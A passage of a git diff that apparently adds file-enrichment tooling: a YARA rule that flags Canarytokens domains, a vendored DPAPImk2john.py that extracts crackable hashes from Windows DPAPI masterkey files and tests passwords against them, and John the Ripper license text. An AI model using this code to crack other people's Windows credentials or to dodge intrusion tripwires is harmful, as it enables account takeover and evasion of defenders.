finding canaries +# Add any custom canary rules here +yara_rules = yara.compile( + source=""" +rule canary_domain { + meta: + description = "Detects the Canarytoken domain" + license = "BSD 3-clause" + author = "harmj0y" + date = "2023-01-06" + strings: + $regex = /canarytokens\.com/ + condition: + $regex +} +""" +) + + +async def get_file_canaries(path: str) -> pb.Canaries: + """ + Runs the specified Yara canary rules against the supplied file. + """ + + canaries = pb.Canaries() + + try: + for match in yara_rules.match(path): + canaries.canaries_present = True + + canary = pb.Canaries.Canary() + canary.type = match.rule + canary_urls = [] + + for strings in match.strings: + # make sure we strip off non alpha-numeric from the beginning/end + canary_urls.extend([re.sub(r"^\W+|\W+$", "", f"{i}") for i in strings.instances]) + + # uniqify the list + canary.data.extend(list(set(canary_urls))) + canaries.canaries.extend([canary]) + + except Exception as e: + await logger.awarning(f"Error in get_office_document_canaries: {e}", path=path) + + return canaries + + +async def get_office_document_canaries(path: str) -> pb.Canaries: + """ + Runs the specified Yara canary rules against all of the internal + files in the supplied Office document. + """ + + canaries = pb.Canaries() + matches = {} + + try: + archive = zipfile.ZipFile(path) + # get every relative path in this archive + for path in archive.namelist(): + for match in yara_rules.match(data=archive.read(path)): + canaries.canaries_present = True + + canary = pb.Canaries.Canary() + canary.type = match.rule + canary_urls = [] + + for strings in match.strings: + # make sure we strip off non alpha-numeric from the beginning/end + canary_urls.extend([re.sub(r"^\W+|\W+$", "", f"{i}") for i in strings.instances]) + + # uniqify the list + unique_urls = list(set(canary_urls)) + + # ensure we haven't had a match for this rule/url set already + # for some subfile in the document + id = f"{match.rule}{''.join(unique_urls)}" + if id not in matches: + canary.data.extend(unique_urls) + canaries.canaries.extend([canary]) + matches[id] = True + + except Exception as e: + await logger.awarning(f"Error in get_office_document_canaries: {e}", path=path) + + return canaries diff --git a/cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py b/cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py new file mode 100644 index 0000000..aba00f5 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/ext_tools/DPAPImk2john.py @@ -0,0 +1,980 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# Modified (for JtR) by Dhiru Kholia in December, 2014. +# Modified (for JtR) by Jean-Christophe Delaunay +# in 2017 +# to support further options and JtR new hash format +# +# This file is part of DPAPIck +# Windows DPAPI decryption & forensic toolkit +# +# Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. +# This document is the property of Cassidian SAS, it may not be copied or +# circulated without prior licence +# +# Author: Jean-Michel Picod +# +# This program is distributed under GPLv3 licence (see LICENCE.txt) + +# Standard Libraries +import argparse +import array +import binascii +import hashlib +import hmac +import struct +import sys +from collections import defaultdict + +# 3rd Party Libraries +import structlog + +logger = structlog.get_logger(module=__name__) + +try: + # 3rd Party Libraries + from Crypto.Cipher import AES, DES, DES3 +except ImportError: + logger.error("Error: Please install the pycryptodome package.\n") + sys.exit(1) + +debug = False + + +def hexstr(bytestr): + return binascii.hexlify(bytestr).decode("ascii") + + +class Eater(object): + """This class is a helper for parsing binary structures.""" + + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + if end is None: + end = len(raw) + self.end = end + self.endianness = endianness + + def prepare_fmt(self, fmt): + """Internal use. Prepend endianness to the given format if it is not + already specified. + + fmt is a format string for struct.unpack() + + Returns a tuple of the format string and the corresponding data size. + + """ + if fmt[0] not in ("<", ">", "!", "@"): + fmt = self.endianness + fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + """Parses data with the given format string without taking away bytes. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + return v + + def eat(self, fmt): + """Parses data with the given format string. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + self.ofs += sz + return v + + def eat_string(self, length): + """Eats and returns a string of length characters""" + return self.eat("%us" % length) + + def eat_length_and_string(self, fmt): + """Eats and returns a string which length is obtained after eating + an integer represented by fmt + + """ + l = self.eat(fmt) + return self.eat_string(l) + + def pop(self, fmt): + """Eats a structure represented by fmt from the end of raw data""" + fmt, sz = self.prepare_fmt(fmt) + self.end -= sz + v = struct.unpack_from(fmt, self.raw, self.end) + if len(v) == 1: + v = v[0] + return v + + def pop_string(self, length): + """Pops and returns a string of length characters""" + return self.pop("%us" % length) + + def pop_length_and_string(self, fmt): + """Pops and returns a string which length is obtained after poping an + integer represented by fmt. + + """ + l = self.pop(fmt) + return self.pop_string(l) + + def remain(self): + """Returns all the bytes that have not been eated nor poped yet.""" + return self.raw[self.ofs : self.end] + + def eat_sub(self, length): + """Eats a sub-structure that is contained in the next length bytes""" + sub = self.__class__(self.raw[self.ofs : self.ofs + length], endianness=self.endianness) + self.ofs += length + return sub + + def __nonzero__(self): + return self.ofs < self.end + + +class DataStruct(object): + """Don't use this class unless you know what you are doing!""" + + def __init__(self, raw=None): + if raw is not None: + self.parse(Eater(raw, endianness="<")) + + def parse(self, eater_obj): + raise NotImplementedError("This function must be implemented in subclasses") + + +class DPAPIBlob(DataStruct): + """Represents a DPAPI blob""" + + def __init__(self, raw=None): + """Constructs a DPAPIBlob. If raw is set, automatically calls + parse(). + + """ + self.version = None + self.provider = None + self.mkguid = None + self.mkversion = None + self.flags = None + self.description = None + self.cipherAlgo = None + self.keyLen = 0 + self.hmac = None + self.strong = None + self.hashAlgo = None + self.hashLen = 0 + self.cipherText = None + self.salt = None + self.blob = None + self.sign = None + self.cleartext = None + self.decrypted = False + self.signComputed = None + DataStruct.__init__(self, raw) + + def __repr__(self): + s = [ + "DPAPI BLOB", + "\n".join( + ( + "\tversion = %(version)d", + "\tprovider = %(provider)s", + "\tmkey = %(mkguid)s", + "\tflags = %(flags)#x", + "\tdescr = %(description)s", + "\tcipherAlgo = %(cipherAlgo)r", + "\thashAlgo = %(hashAlgo)r", + ) + ) + % self.__dict__, + "\tsalt = %s" % hexstr(self.salt), + "\thmac = %s" % hexstr(self.hmac), + "\tcipher = %s" % hexstr(self.cipherText), + "\tsign = %s" % hexstr(self.sign), + ] + if self.signComputed is not None: + s.append("\tsignComputed = %s" % hexstr(self.signComputed)) + if self.cleartext is not None: + s.append("\tcleartext = %r" % self.cleartext) + return "\n".join(s) + + +class CryptoAlgo(object): + """This class is used to wrap Microsoft algorithm IDs with M2Crypto""" + + class Algo(object): + def __init__(self, data): + self.data = data + + def __getattr__(self, attr): + if attr in self.data: + return self.data[attr] + raise AttributeError(attr) + + _crypto_data = {} + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + if "name" in kargs: + kargs["ID"] = algnum + cls._crypto_data[kargs["name"]] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data[algnum] + + def __init__(self, i): + self.algnum = i + self.algo = CryptoAlgo.get_algo(i) + + name = property(lambda self: self.algo.name) + module = property(lambda self: self.algo.module) + keyLength = property(lambda self: self.algo.keyLength // 8) + ivLength = property(lambda self: self.algo.IVLength // 8) + blockSize = property(lambda self: self.algo.blockLength // 8) + digestLength = property(lambda self: self.algo.digestLength // 8) + + def do_fixup_key(self, key): + try: + return self.algo.keyFixup.__call__(key) + except AttributeError: + return key + + def __repr__(self): + return "%s [%#x]" % (self.algo.name, self.algnum) + + +def des_set_odd_parity(key): + _lut = [ + 1, + 1, + 2, + 2, + 4, + 4, + 7, + 7, + 8, + 8, + 11, + 11, + 13, + 13, + 14, + 14, + 16, + 16, + 19, + 19, + 21, + 21, + 22, + 22, + 25, + 25, + 26, + 26, + 28, + 28, + 31, + 31, + 32, + 32, + 35, + 35, + 37, + 37, + 38, + 38, + 41, + 41, + 42, + 42, + 44, + 44, + 47, + 47, + 49, + 49, + 50, + 50, + 52, + 52, + 55, + 55, + 56, + 56, + 59, + 59, + 61, + 61, + 62, + 62, + 64, + 64, + 67, + 67, + 69, + 69, + 70, + 70, + 73, + 73, + 74, + 74, + 76, + 76, + 79, + 79, + 81, + 81, + 82, + 82, + 84, + 84, + 87, + 87, + 88, + 88, + 91, + 91, + 93, + 93, + 94, + 94, + 97, + 97, + 98, + 98, + 100, + 100, + 103, + 103, + 104, + 104, + 107, + 107, + 109, + 109, + 110, + 110, + 112, + 112, + 115, + 115, + 117, + 117, + 118, + 118, + 121, + 121, + 122, + 122, + 124, + 124, + 127, + 127, + 128, + 128, + 131, + 131, + 133, + 133, + 134, + 134, + 137, + 137, + 138, + 138, + 140, + 140, + 143, + 143, + 145, + 145, + 146, + 146, + 148, + 148, + 151, + 151, + 152, + 152, + 155, + 155, + 157, + 157, + 158, + 158, + 161, + 161, + 162, + 162, + 164, + 164, + 167, + 167, + 168, + 168, + 171, + 171, + 173, + 173, + 174, + 174, + 176, + 176, + 179, + 179, + 181, + 181, + 182, + 182, + 185, + 185, + 186, + 186, + 188, + 188, + 191, + 191, + 193, + 193, + 194, + 194, + 196, + 196, + 199, + 199, + 200, + 200, + 203, + 203, + 205, + 205, + 206, + 206, + 208, + 208, + 211, + 211, + 213, + 213, + 214, + 214, + 217, + 217, + 218, + 218, + 220, + 220, + 223, + 223, + 224, + 224, + 227, + 227, + 229, + 229, + 230, + 230, + 233, + 233, + 234, + 234, + 236, + 236, + 239, + 239, + 241, + 241, + 242, + 242, + 244, + 244, + 247, + 247, + 248, + 248, + 251, + 251, + 253, + 253, + 254, + 254, + ] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, module=DES3, keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128, module=AES) +CryptoAlgo.add_algo(0x660E, name="AES-128", keyLength=128, IVLength=128, blockLength=128, module=AES) +CryptoAlgo.add_algo(0x660F, name="AES-192", keyLength=192, IVLength=128, blockLength=128, module=AES) +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128, module=AES) +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, module=DES, keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800C, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800D, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800E, name="sha512", digestLength=512, blockLength=1024) + + +def pbkdf2_ms(passphrase, salt, keylen, iterations, digest="sha1"): + """Implementation of PBKDF2 that allows specifying digest algorithm. + + Returns the corresponding expanded key which is keylen long. + + Note: This is not real pbkdf2, but instead a slight modification of it. + Seems like Microsoft tried to implement pbkdf2 but got the xoring wrong. + """ + buff = b"" + i = 1 + while len(buff) < keylen: + U = salt + struct.pack("!L", i) + i += 1 + derived = bytearray(hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()) + for r in range(iterations - 1): + actual = bytearray(hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest()) + derived = bytearray([x ^ y for (x, y) in zip(derived, actual)]) + buff += derived + return bytes(buff[:keylen]) + + +def pbkdf2(passphrase, salt, keylen, iterations, digest="sha1"): + """Implementation of PBKDF2 that allows specifying digest algorithm. + + Returns the corresponding expanded key which is keylen long. + """ + buff = b"" + i = 1 + while len(buff) < keylen: + U = salt + struct.pack("!L", i) + i += 1 + derived = bytearray(hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()) + actual = derived + for r in range(iterations - 1): + actual = bytearray(hmac.new(passphrase, actual, digestmod=lambda: hashlib.new(digest)).digest()) + derived = bytearray([x ^ y for (x, y) in zip(derived, actual)]) + buff += derived + return bytes(buff[:keylen]) + + +def derivePwdHash(pwdhash, userSID, digest="sha1"): + """Internal use. Computes the encryption key from a user's password hash""" + return hmac.new(pwdhash, (userSID + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() + + +def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds): + """Internal use. Decrypts data stored in DPAPI structures.""" + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + derived = pbkdf2_ms(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname) + key, iv = derived[: cipherAlgo.keyLength], derived[cipherAlgo.keyLength :] + key = key[: cipherAlgo.keyLength] + iv = iv[: cipherAlgo.ivLength] + cipher = cipherAlgo.module.new(key, mode=cipherAlgo.module.MODE_CBC, IV=iv) + cleartxt = cipher.decrypt(raw) + return cleartxt + + +def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value): + """Internal function used to compute HMACs of DPAPI structures""" + hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name) + encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname)) + encKey.update(hmacSalt) + encKey = encKey.digest() + rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname)) + rv.update(value) + return rv.digest() + + +def display_masterkey(Preferred): + GUID1 = Preferred.read(8) + GUID2 = Preferred.read(8) + + GUID = struct.unpack("HLH", GUID2) + + print( + "%s-%s-%s-%s-%s%s" + % ( + format(GUID[0], "08x"), + format(GUID[1], "04x"), + format(GUID[2], "04x"), + format(GUID2[0], "04x"), + format(GUID2[1], "08x"), + format(GUID2[2], "04x"), + ) + ) + + +class MasterKey(DataStruct): + """This class represents a MasterKey block contained in a MasterKeyFile""" + + def __init__(self, raw=None, SID=None, context=None): + self.decrypted = False + self.key = None + self.key_hash = None + self.hmacSalt = None + self.hmac = None + self.hmacComputed = None + self.cipherAlgo = None + self.hashAlgo = None + self.rounds = None + self.iv = None + self.version = None + self.ciphertext = None + self.SID = SID + self.context = context + DataStruct.__init__(self, raw) + + def __getstate__(self): + d = dict(self.__dict__) + for k in ["cipherAlgo", "hashAlgo"]: + if k in d: + d[k] = d[k].algnum + return d + + def __setstate__(self, d): + for k in ["cipherAlgo", "hashAlgo"]: + if k in d: + d[k] = CryptoAlgo(d[k]) + self.__dict__.update(d) + + def parse(self, data): + self.version = data.eat("L") + self.iv = data.eat("16s") + self.rounds = data.eat("L") + self.hashAlgo = CryptoAlgo(data.eat("L")) + self.cipherAlgo = CryptoAlgo(data.eat("L")) + self.ciphertext = data.remain() + if self.SID: + print(self.jhash()) + + def decryptWithHash(self, userSID, pwdhash): + """Decrypts the masterkey with the given user's hash and SID. + Simply computes the corresponding key then calls self.decryptWithKey() + + """ + self.decryptWithKey(derivePwdHash(pwdhash, userSID)) + + def jhash(self): + version = -1 + hmac_algo = None + cipher_algo = None + if "des3" in str(self.cipherAlgo).lower() and "hmac" in str(self.hashAlgo).lower(): + version = 1 + hmac_algo = "sha1" + cipher_algo = "des3" + elif "aes-256" in str(self.cipherAlgo).lower() and "sha512" in str(self.hashAlgo).lower(): + version = 2 + hmac_algo = "sha512" + cipher_algo = "aes256" + else: + return "Unsupported combination of cipher '%s' and hash algorithm '%s' found!" % (self.cipherAlgo, self.hashAlgo) + context = 0 + + if self.context == "domain": + context = 2 + s = "$DPAPImk$%d*%d*%s*%s*%s*%d*%s*%d*%s" % ( + version, + context, + self.SID, + cipher_algo, + hmac_algo, + self.rounds, + hexstr(self.iv), + len(hexstr(self.ciphertext)), + hexstr(self.ciphertext), + ) + context = 3 + s += "\n$DPAPImk$%d*%d*%s*%s*%s*%d*%s*%d*%s" % ( + version, + context, + self.SID, + cipher_algo, + hmac_algo, + self.rounds, + hexstr(self.iv), + len(hexstr(self.ciphertext)), + hexstr(self.ciphertext), + ) + else: + if self.context == "local": + context = 1 + elif self.context == "domain1607-": + context = 2 + elif self.context == "domain1607+": + context = 3 + + s = "$DPAPImk$%d*%d*%s*%s*%s*%d*%s*%d*%s" % ( + version, + context, + self.SID, + cipher_algo, + hmac_algo, + self.rounds, + hexstr(self.iv), + len(hexstr(self.ciphertext)), + hexstr(self.ciphertext), + ) + return s + + def setKeyHash(self, h): + assert len(h) == 20 + self.decrypted = True + self.key_hash = h + + def setDecryptedKey(self, data): + assert len(data) == 64 + self.decrypted = True + self.key = data + self.key_hash = hashlib.sha1(data).digest() + + def decryptWithKey(self, pwdhash): + """Decrypts the masterkey with the given encryption key. This function + also extracts the HMAC part of the decrypted stuff and compare it with + the computed one. + + Note that, once successfully decrypted, the masterkey will not be + decrypted anymore; this function will simply return. + + """ + if self.decrypted: + return + if not self.ciphertext: + return + + cleartxt = dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv, self.rounds) + self.key = cleartxt[-64:] + self.hmacSalt = cleartxt[:16] + self.hmac = cleartxt[16 : 16 + self.hashAlgo.digestLength] + self.hmacComputed = DPAPIHmac(self.hashAlgo, pwdhash, self.hmacSalt, self.key) + self.decrypted = self.hmac == self.hmacComputed + + def __repr__(self): + s = ["Masterkey block"] + if self.cipherAlgo is not None: + s.append("\tcipher algo = %s" % repr(self.cipherAlgo)) + if self.hashAlgo is not None: + s.append("\thash algo = %s" % repr(self.hashAlgo)) + if self.rounds is not None: + s.append("\trounds = %i" % self.rounds) + if self.iv is not None: + s.append("\tIV = %s" % hexstr(self.iv)) + if self.key is not None: + s.append("\tkey = %s" % hexstr(self.key)) + if self.hmacSalt is not None: + s.append("\thmacSalt = %s" % hexstr(self.hmacSalt)) + if self.hmac is not None: + s.append("\thmac = %s" % hexstr(self.hmac)) + if self.hmacComputed is not None: + s.append("\thmacComputed = %s" % hexstr(self.hmacComputed)) + if self.key_hash is not None: + s.append("\tkey hash = %s" % hexstr(self.key_hash)) + if self.ciphertext is not None: + s.append("\tciphertext = %s" % hexstr(self.ciphertext)) + return "\n".join(s) + + +class MasterKeyFile(DataStruct): + """This class represents a masterkey file.""" + + def __init__(self, raw=None, SID=None, context=None): + self.masterkey = None + self.backupkey = None + self.credhist = None + self.domainkey = None + self.decrypted = False + self.version = None + self.guid = None + self.policy = None + self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0 + self.SID = SID + self.context = context + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("L") + # print(self.version) + data.eat("2L") + self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8") + # print("GUID", self.guid) + data.eat("2L") + self.policy = data.eat("L") + self.masterkeyLen = data.eat("Q") + # print(self.masterkeyLen) + self.backupkeyLen = data.eat("Q") + self.credhistLen = data.eat("Q") + self.domainkeyLen = data.eat("Q") + + if self.masterkeyLen > 0: + self.masterkey = MasterKey(SID=self.SID, context=self.context) + self.masterkey.parse(data.eat_sub(self.masterkeyLen)) + if self.backupkeyLen > 0: + self.backupkey = MasterKey() + self.backupkey.parse(data.eat_sub(self.backupkeyLen)) + + def decryptWithHash(self, userSID, h): + """See MasterKey.decryptWithHash()""" + if not self.masterkey.decrypted: + self.masterkey.decryptWithHash(userSID, h) + if not self.backupkey.decrypted: + self.backupkey.decryptWithHash(userSID, h) + self.decrypted = self.masterkey.decrypted or self.backupkey.decrypted + + def decryptWithPassword(self, userSID, pwd, context): + """See MasterKey.decryptWithPassword()""" + algo = None + if context == "domain1607-" or context == "domain": + self.decryptWithHash(userSID, hashlib.new("md4", pwd.encode("UTF-16LE")).digest()) + if self.decrypted: + logger.info("Decrypted succesfully as domain1607-") + return + if context == "domain1607+" or context == "domain": + SIDenc = userSID.encode("UTF-16LE") + NTLMhash = hashlib.new("md4", pwd.encode("UTF-16LE")).digest() + derived = pbkdf2(NTLMhash, SIDenc, 32, 10000, digest="sha256") + derived = pbkdf2(derived, SIDenc, 16, 1, digest="sha256") + self.decryptWithHash(userSID, derived) + if self.decrypted: + logger.info("Decrypted succesfully as domain1607+") + return + if context == "local": + self.decryptWithHash(userSID, hashlib.new("sha1", pwd.encode("UTF-16LE")).digest()) + + def __repr__(self): + s = ["\n#### MasterKeyFile %s ####" % self.guid.decode("utf-8")] + if self.version is not None: + s.append("\tversion = %#d" % self.version) + if self.policy is not None: + s.append("\tPolicy = %#x" % self.policy) + if self.masterkeyLen > 0: + s.append("\tMasterKey = %d" % self.masterkeyLen) + if self.backupkeyLen > 0: + s.append("\tBackupKey = %d" % self.backupkeyLen) + if self.domainkeyLen > 0: + s.append("\tDomainKey = %d" % self.domainkeyLen) + if self.masterkey: + s.append(" + Master Key: %s" % repr(self.masterkey)) + if self.backupkey: + s.append(" + Backup Key: %s" % repr(self.backupkey)) + if self.domainkey: + s.append(" + %s" % repr(self.domainkey)) + return "\n".join(s) + + +class MasterKeyPool(object): + """This class is the pivot for using DPAPIck. It manages all the DPAPI + structures and contains all the decryption intelligence. + + """ + + def __init__(self): + self.keys = defaultdict(lambda: []) + self.passwords = set() + + def addMasterKey(self, mkey, SID=None, context=None): + """Add a MasterKeyFile is the pool. + + mkey is a string representing the content of the file to add. + + """ + mkf = MasterKeyFile(mkey, SID=SID, context=context) + self.keys[mkf.guid].append(mkf) + + def addMasterKeyHash(self, guid, h): + self.keys[guid].append(MasterKeyFile().addKeyHash(guid, h)) + + def try_credential(self, userSID, password, context): + """This function tries to decrypt every masterkey contained in the pool + that has not been successfully decrypted yet with the given password and + SID. + + userSID is a string representing the user's SID + password is a string representing the user's password. + + Returns the number of masterkey that has been successfully decrypted + with those credentials. + + """ + n = 0 + for mkl in self.keys.values(): + if debug: + print(mkl) + for mk in mkl: + if not mk.decrypted: + if password is not None: + mk.decryptWithPassword(userSID, password, context) + if mk.decrypted: + self.passwords.add(password) + n += 1 + return n + + def __repr__(self): + s = ["MasterKeyPool:", "Passwords:", repr(self.passwords), "Keys:", repr(self.keys.items())] + if self.system is not None: + s.append(repr(self.system)) + for i in self.creds.keys(): + s.append("\tSID: %s" % i) + s.append(repr(self.creds[i])) + return "\n".join(s) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("-S", "--sid", required=False, help="SID of account owning the masterkey file.") + parser.add_argument("-mk", "--masterkey", required=False, help="masterkey file (usually in %%APPDATA%%\\Protect\\).") + parser.add_argument("-d", "--debug", default=False, action="store_true", dest="debug") + parser.add_argument( + "-c", + "--context", + required=False, + help="context of user account. 1607 refers to Windows 10 1607 update.", + choices=["domain", "domain1607+", "domain1607-", "local"], + ) + parser.add_argument( + "-P", + "--preferred", + required=False, + help="'Preferred' file containing GUID of masterkey file in use (usually in %%APPDATA%%\\Protect\\). Cannot be used with any other command.", + ) + parser.add_argument("--password", metavar="PASSWORD", dest="password", help="password to decrypt masterkey file.") + + options = parser.parse_args() + debug = options.debug + + if options.preferred and (options.masterkey or options.sid or options.context): + logger.error("'Preferred' option cannot be used combined with any other, exiting.") + sys.exit(1) + elif not options.preferred and not (options.masterkey and options.sid and options.context): + logger.error("masterkey file, SID and context are mandatory in order to extract hash from masterkey file, exiting.") + sys.exit(1) + elif options.preferred: + Preferred = open(options.preferred, "rb") + display_masterkey(Preferred) + Preferred.close() + sys.exit(1) + else: + mkp = MasterKeyPool() + masterkeyfile = open(options.masterkey, "rb") + mkdata = masterkeyfile.read() + masterkeyfile.close() + mkp.addMasterKey(mkdata, SID=options.sid, context=options.context) + if options.password: + print(mkp.try_credential(options.sid, options.password, options.context)) diff --git a/cmd/enrichment/enrichment/lib/ext_tools/LICENSE b/cmd/enrichment/enrichment/lib/ext_tools/LICENSE new file mode 100644 index 0000000..88046d3 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/ext_tools/LICENSE @@ -0,0 +1,59 @@ + John the Ripper copyright and license. + +John the Ripper password cracker, +Copyright (c) 1996-2019 by Solar Designer. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +As a special exception to the GNU General Public License terms, +permission is hereby granted to link the code of this program, with or +without modification, with any version of the OpenSSL library and/or any +version of unRAR, and to distribute such linked combinations. You must +obey the GNU GPL in all respects for all of the code used other than +OpenSSL and unRAR. If you modify this program, you may extend this +exception to your version of the program, but you are not obligated to +do so. (In other words, you may release your derived work under pure +GNU GPL version 2 or later as published by the FSF.) + +(This exception from the GNU GPL is not required for the core tree of +John the Ripper, but arguably it is required for -jumbo.) + + + Relaxed terms for certain components. + +In addition or alternatively to the license above, many components are +available to you under more relaxed terms (most commonly under cut-down +BSD license) as specified in the corresponding source files. + +Furthermore, as the copyright holder for the bcrypt (Blowfish-based +password hashing) implementation found in John the Ripper, I have placed +a derived version of this implementation in the public domain. This +derived version may be obtained at: + + https://www.openwall.com/crypt/ + +The intent is to provide modern password hashing for your servers and +your software (where the GPL restrictions could be a problem). + + + Commercial licensing. + +Commercial licenses (non-GPL) are available upon request. + + + Copyright holder contact information. + +For the core John the Ripper tree: + +Alexander Peslyak aka Solar Designer + +(There are additional copyright holders for "community enhanced" -jumbo +versions of John the Ripper.) \ No newline at end of file diff --git a/cmd/enrichment/enrichment/lib/ext_tools/office2john.py b/cmd/enrichment/enrichment/lib/ext_tools/office2john.py new file mode 100644 index 0000000..00132dd --- /dev/null +++ b/cmd/enrichment/enrichment/lib/ext_tools/office2john.py @@ -0,0 +1,3193 @@ +#!/usr/bin/env python + +# olefile (formerly OleFileIO_PL) version 0.42 2015-01-25 +# +# Module to read/write Microsoft OLE2 files (also called Structured Storage or +# Microsoft Compound Document File Format), such as Microsoft Office 97-2003 +# documents, Image Composer and FlashPix files, Outlook messages, ... +# This version is compatible with Python 2.6+ and 3.x +# +# Project website: http://www.decalage.info/olefile +# +# olefile is copyright (c) 2005-2015 Philippe Lagadec (http://www.decalage.info) +# +# olefile is based on the OleFileIO module from the PIL library v1.1.6 +# See: http://www.pythonware.com/products/pil/index.htm +# +# The Python Imaging Library (PIL) is +# Copyright (c) 1997-2005 by Secret Labs AB +# Copyright (c) 1995-2005 by Fredrik Lundh +# +# See source code and LICENSE.txt for information on usage and redistribution. + + +# Since OleFileIO_PL v0.30, only Python 2.6+ and 3.x is supported +# This import enables print() as a function rather than a keyword +# (main requirement to be compatible with Python 3.x) +# The comment on the line below should be printed on Python 2.5 or older: +from __future__ import ( + print_function, # This version of olefile requires Python 2.6+ or 3.x. +) + +__author__ = "Philippe Lagadec" +__date__ = "2015-01-25" +__version__ = "0.42.1" + +# --- LICENSE ------------------------------------------------------------------ + +# olefile (formerly OleFileIO_PL) is copyright (c) 2005-2015 Philippe Lagadec +# (http://www.decalage.info) +# +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# ---------- +# PIL License: +# +# olefile is based on source code from the OleFileIO module of the Python +# Imaging Library (PIL) published by Fredrik Lundh under the following license: + +# The Python Imaging Library (PIL) is +# Copyright (c) 1997-2005 by Secret Labs AB +# Copyright (c) 1995-2005 by Fredrik Lundh +# +# By obtaining, using, and/or copying this software and/or its associated +# documentation, you agree that you have read, understood, and will comply with +# the following terms and conditions: +# +# Permission to use, copy, modify, and distribute this software and its +# associated documentation for any purpose and without fee is hereby granted, +# provided that the above copyright notice appears in all copies, and that both +# that copyright notice and this permission notice appear in supporting +# documentation, and that the name of Secret Labs AB or the author(s) not be used +# in advertising or publicity pertaining to distribution of the software +# without specific, written prior permission. +# +# SECRET LABS AB AND THE AUTHORS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS +# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +# IN NO EVENT SHALL SECRET LABS AB OR THE AUTHORS BE LIABLE FOR ANY SPECIAL, +# INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM +# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR +# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +# PERFORMANCE OF THIS SOFTWARE. + +# ----------------------------------------------------------------------------- +# CHANGELOG: (only olefile/OleFileIO_PL changes compared to PIL 1.1.6) +# 